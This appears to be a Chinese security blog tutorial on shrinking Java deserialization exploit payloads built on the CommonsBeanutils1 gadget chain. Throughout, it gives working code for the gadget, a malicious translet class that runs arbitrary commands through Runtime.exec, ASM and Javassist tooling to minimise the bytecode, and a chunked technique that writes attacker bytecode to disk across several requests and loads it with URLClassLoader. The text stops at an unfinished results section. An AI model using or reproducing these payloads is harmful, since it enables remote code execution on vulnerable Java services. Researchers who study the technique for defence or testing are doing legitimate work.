终极Java反序列化payload缩小技术

终极Java反序列化payload缩小技术

介绍

实战中由于各种情况，可能会对反序列化Payload的长度有所限制，因此研究反序列化Payload缩小技术是有意义且必要的

本文以CommonsBeanutils1链为示例，重点在于三部分：

• 序列化数据本身的缩小
• 针对TemplatesImpl中_bytecodes字节码的缩小
• 对于执行的代码如何缩小（STATIC代码块）

接下来我将展示如何一步一步地缩小

最终效果能够将YSOSERIAL生成的Payload缩小接近三分之二（从3692长度缩小到1296）

YSOSERIAL

首先用YSOSERIAL工具直接生成CB1的链，看看Base64处理后的长度

java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > test.ser

生成后统计长度为：3692

byte[]data=Base64.getEncoder().encode(Files.readAllBytes(Paths.get("test.ser")));

System.out.println(newString(data).length());

构造Gadget

尝试不借助YSOSERIAL直接构造CB1的链

<dependency>

   <groupId>commons-beanutils</groupId>

   <artifactId>commons-beanutils</artifactId>

   <version>1.9.2</version>

</dependency>

构造代码

publicstaticbyte[]getPayloadUseByteCodes(byte[]byteCodes){

   try{

       TemplatesImpltemplates=newTemplatesImpl();

       setFieldValue(templates,"_bytecodes",newbyte[][]{byteCodes});

       setFieldValue(templates,"_name","HelloTemplatesImpl");

       setFieldValue(templates,"_tfactory",newTransformerFactoryImpl());

       finalBeanComparatorcomparator=newBeanComparator(null,String.CASE_INSENSITIVE_ORDER);

       finalPriorityQueue<Object>queue=newPriorityQueue<Object>(2,comparator);

       queue.add("1");

       queue.add("1");

       setFieldValue(comparator,"property","outputProperties");

       setFieldValue(queue,"queue",newObject[]{templates,templates});

       returnserialize(queue);

   }catch(Exceptione){

       e.printStackTrace();

   }

   returnnewbyte[]{};

}

恶意类

publicclassEvilByteCodesextendsAbstractTranslet{

   static{

       try{

           Runtime.getRuntime().exec("calc.exe");

       }catch(Exceptione){

           e.printStackTrace();

       }

   }

   @Override

   publicvoidtransform(DOMdocument,SerializationHandler[]handlers){

   }

   @Override

   publicvoidtransform(DOMdocument,DTMAxisIteratoriterator,SerializationHandlerhandler){

   }

}

读取字节码并设置到Gadget中，序列化后统计长度：2728

相比YSOSERIAL直接生成的，缩小了26.1%

byte[]evilBytesCode=Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));

byte[]my=Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(evilBytesCode));

System.out.println(newString(my).length());

其实上文中还有三处可以优化：

• 设置_name名称可以是一个字符
• 其中_tfactory属性可以删除（分析TemplatesImpl得出）
• 其中EvilByteCodes类捕获异常后无需处理

setFieldValue(templates,"_name","t");

// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

try{

   Runtime.getRuntime().exec("calc.exe");

}catch(Exceptionignored){

}

经过这三处优化后得到长度：2608

相比YSOSERIAL直接生成的，缩小了29.3%

从字节码层面优化

上文中的EvilBytesCode恶意类的字节码是可以缩减的

对字节码进行分析：javap -c -l EvilByteCodes.class

public class org.sec.payload.EvilByteCodes extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {

 // transform 1

 // transform 2

 // <init>

 // <clint>

 static {};

   Code:

      0: invokestatic  #2                  // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;

      3: ldc           #3                  // String

      5: invokevirtual #4                  // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;

      8: pop

      9: goto          13

     12: astore_0

     13: return

   Exception table:

      from    to  target type

          0     9    12   Class java/lang/Exception

   LineNumberTable:

     line 11: 0

     line 13: 9

     line 12: 12

     line 14: 13

   LocalVariableTable:

     Start  Length  Slot  Name   Signature

}

可以看出，该类每个方法包含了三部分：

• 代码对应的字节码
• ExceptionTable和LocalVariableTable
• LineNumberTable

有JVM相关的知识可以得知，局部变量表和异常表是不能删除的，否则无法执行

但LineNumberTable是可以删除的

换句话来说：LINENUMBER指令可以全部删了

于是我基于ASM实现删除LINENUMBER

byte[]bytes=Files.readAllBytes(Paths.get(path));

ClassReadercr=newClassReader(bytes);

ClassWritercw=newClassWriter(ClassWriter.COMPUTE_FRAMES);

intapi=Opcodes.ASM9;

ClassVisitorcv=newShortClassVisitor(api,cw);

intparsingOptions=ClassReader.SKIP_DEBUG|ClassReader.SKIP_FRAMES;

cr.accept(cv,parsingOptions);

byte[]out=cw.toByteArray();

Files.write(Paths.get(path),out);

ShortClassVisitor

publicclassShortClassVisitorextendsClassVisitor{

   privatefinalintapi;

   publicShortClassVisitor(intapi,ClassVisitorclassVisitor){

       super(api,classVisitor);

       this.api=api;

   }

   @Override

   publicMethodVisitorvisitMethod(intaccess,Stringname,Stringdescriptor,Stringsignature,String[]exceptions){

       MethodVisitormv=super.visitMethod(access,name,descriptor,signature,exceptions);

       returnnewShortMethodAdapter(this.api,mv);

   }

}

重点在于ShortMethodAdapter：如果遇到LINENUMBER指令则阻止传递，可以理解为返回空

publicclassShortMethodAdapterextendsMethodVisitorimplementsOpcodes{

   publicShortMethodAdapter(intapi,MethodVisitormethodVisitor){

       super(api,methodVisitor);

   }

   @Override

   publicvoidvisitLineNumber(intline,Labelstart){

       // delete line number

   }

}

读取编译的字节码并处理后替换

Resolver.resolve("/path/to/EvilByteCodes.class");

byte[]newByteCodes=Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));

byte[]payload=Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));

System.out.println(newString(payload).length());

经过优化后得到长度：1832

相比YSOSERIAL直接生成的，缩小了50.3%

使用Javassist构造

以上代码虽然做到了超过百分之五十的缩小，但存在一个问题：目前的恶意类是写死的，无法动态构造

想要动态构造字节码一种手段是选择ASM做，但有更好的选择：Javassist

通过这样的一个方法，就可以根据输入命令动态构造出Evil类

privatestaticbyte[]getTemplatesImpl(Stringcmd){

   try{

       ClassPoolpool=ClassPool.getDefault();

       CtClassctClass=pool.makeClass("Evil");

       CtClasssuperClass=pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

       ctClass.setSuperclass(superClass);

       CtConstructorconstructor=ctClass.makeClassInitializer();

       constructor.setBody("        try {\n"+

                           "            Runtime.getRuntime().exec(\""+cmd+"\");\n"+

                           "        } catch (Exception ignored) {\n"+

                           "        }");

       CtMethodctMethod1=CtMethod.make("    public void transform("+

                                          "com.sun.org.apache.xalan.internal.xsltc.DOM document, "+

                                          "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n"+

                                          "    }",ctClass);

       ctClass.addMethod(ctMethod1);

       CtMethodctMethod2=CtMethod.make("    public void transform("+

                                          "com.sun.org.apache.xalan.internal.xsltc.DOM document, "+

                                          "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, "+

                                          "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n"+

                                          "    }",ctClass);

       ctClass.addMethod(ctMethod2);

       byte[]bytes=ctClass.toBytecode();

       ctClass.defrost();

       returnbytes;

   }catch(Exceptione){

       e.printStackTrace();

       returnnewbyte[]{};

   }

}

将动态生成的字节码保存至当前目录，再读取加载

Stringpath=System.getProperty("user.dir")+File.separator+"Evil.class";

Generator.saveTemplateImpl(path,"calc.exe");

byte[]newByteCodes=Files.readAllBytes(Paths.get("Evil.class"));

byte[]payload=Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));

System.out.println(newString(payload).length());

经过优化后得到长度：1848

相比YSOSERIAL直接生成的，缩小了49.9%

不难发现使用Javassist生成的字节码似乎本身就不包含LINENUMBER指令

不过这只是猜测，当我使用上文的删除指令代码优化后，发现进一步缩小了

...

Generator.saveTemplateImpl(path,"calc.exe");

Resolver.resolve("Evil.class");

...

// 验证Payload是否有效    

Payload.deserialize(Base64.getDecoder().decode(payload));

经过优化后得到长度：1804

相比YSOSERIAL直接生成的，缩小了51.1%

验证Payload有效可以弹出计算器

删除重写方法

可以发现Evil类继承自AbstractTranslet抽象类，所以必须重写两个transform方法

这样写代码会导致编译不通过，无法执行

publicclassEvilByteCodesextendsAbstractTranslet{

   static{

       try{

           Runtime.getRuntime().exec("calc.exe");

       }catch(Exceptionignored){

       }

   }

}

编译不通过不代表非法，通过手段直接构造对应的字节码

（1）通过ASM删除方法

@Override

publicMethodVisitorvisitMethod(intaccess,Stringname,Stringdescriptor,Stringsignature,String[]exceptions){

   if(name.equals("transform")){

       returnnull;

   }

   MethodVisitormv=super.visitMethod(access,name,descriptor,signature,exceptions);

   returnnewShortMethodAdapter(this.api,mv,name);

}

（2）通过Javassist直接构造

privatestaticbyte[]getTemplatesImpl(Stringcmd){

   try{

       ClassPoolpool=ClassPool.getDefault();

       CtClassctClass=pool.makeClass("Evil");

       CtClasssuperClass=pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

       ctClass.setSuperclass(superClass);

       CtConstructorconstructor=ctClass.makeClassInitializer();

       constructor.setBody("        try {\n"+

                           "            Runtime.getRuntime().exec(\""+cmd+"\");\n"+

                           "        } catch (Exception ignored) {\n"+

                           "        }");

       byte[]bytes=ctClass.toBytecode();

       ctClass.defrost();

       returnbytes;

   }catch(Exceptione){

       e.printStackTrace();

       returnnewbyte[]{};

   }

}

通过以上手段处理后进行反序列化验证：成功弹出计算器

Stringpath=System.getProperty("user.dir")+File.separator+"Evil.class";

Generator.saveTemplateImpl(path,"calc.exe");

Resolver.resolve("Evil.class");

byte[]newByteCodes=Files.readAllBytes(Paths.get("Evil.class"));

byte[]payload=Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));

System.out.println(newString(payload).length());

Payload.deserialize(Base64.getDecoder().decode(payload));

最终优化后得到长度：1332

相比YSOSERIAL直接生成的，缩小了63.9%

并不是所有方法都能删除，比如不存在构造方法的情况下无法删除空参构造

于是有了一个新思路：删除静态代码块，将代码写入空参构造

ClassPoolpool=ClassPool.getDefault();

CtClassctClass=pool.makeClass("Evil");

CtClasssuperClass=pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

ctClass.setSuperclass(superClass);

CtConstructorconstructor=CtNewConstructor.make("    public Evil(){\n"+

                                                 "        try {\n"+

                                                 "            Runtime.getRuntime().exec(\""+cmd+"\");\n"+

                                                 "        }catch (Exception ignored){}\n"+

                                                 "    }",ctClass);

ctClass.addConstructor(constructor);

byte[]bytes=ctClass.toBytecode();

ctClass.defrost();

returnbytes;

最终优化后得到长度：1296

相比YSOSERIAL直接生成的，缩小了64.8%

终极技术：分块传输

以上的内容都在围绕字节码和序列化数据的缩小，我认为已经做到的接近极致，很难做到更小的

对于STATIC代码块中需要执行的代码也有缩小手段，这也是更有实战意义是思考，因为实战中不是弹个计算器这么简单

因此可以用追加的方式发送多个请求往指定文件中写入字节码，将真正需要执行的字节码分块

使用Javassist动态生成写入每一分块的Payload，以追加的方式将所有字节码的Base64写入某文件

static{

   try{

       Stringpath="/your/path";

       // 创建文件

       Filefile=newFile(path);

       file.createNewFile();

       // 传入true是追加方式写文件

       FileOutputStreamfos=newFileOutputStream(path,true);

       // 需要写入的数据

       Stringdata="BASE64_BYTECODES_PART";

       fos.write(data.getBytes());

       fos.close();

   }catch(Exceptionignore){

   }

}

在最后一个包中将字节码进行Base64Decode并写入class文件

（也可以直接写字节码二进制数据，不过个人认为Base64好分割处理一些）

static{

   try{

       Stringpath="/your/path";

       FileInputStreamfis=newFileInputStream(path);

       // size取决于实际情况

       byte[]data=newbyte[size];

       fis.read(data);

       // 写入Evil.class

       FileOutputStreamfos=newFileOutputStream("Evil.class");

       fos.write(Base64.getDecoder().decode(data));

       fos.close();

   }catch(Exceptionignored){

   }

}

会有师傅产生疑问：为什么要写这么多的代码而不用java.nio.file.Files工具类一行实现读写

其实我一开始就是使用该工具类在做，后来测试发现受用用Stream读写产生的Payload会更小

最后一个包使用URLClassLoader进行加载

注意一个小坑，传入URLClassLoader的路径要以file://开头且以/结尾否则会找不到对应的类

static{

   try{

       Stringpath="file:///your/path/";

       URLurl=newURL(path);

       URLClassLoaderurlClassLoader=newURLClassLoader(newURL[]{url});

       Class<?>clazz=urlClassLoader.loadClass("Evil);

       clazz.newInstance();

   }catch(Exceptionignored){

   }

}

代码

我对常见的反序列化链做了总结和测试，效果如下（出了个叛徒）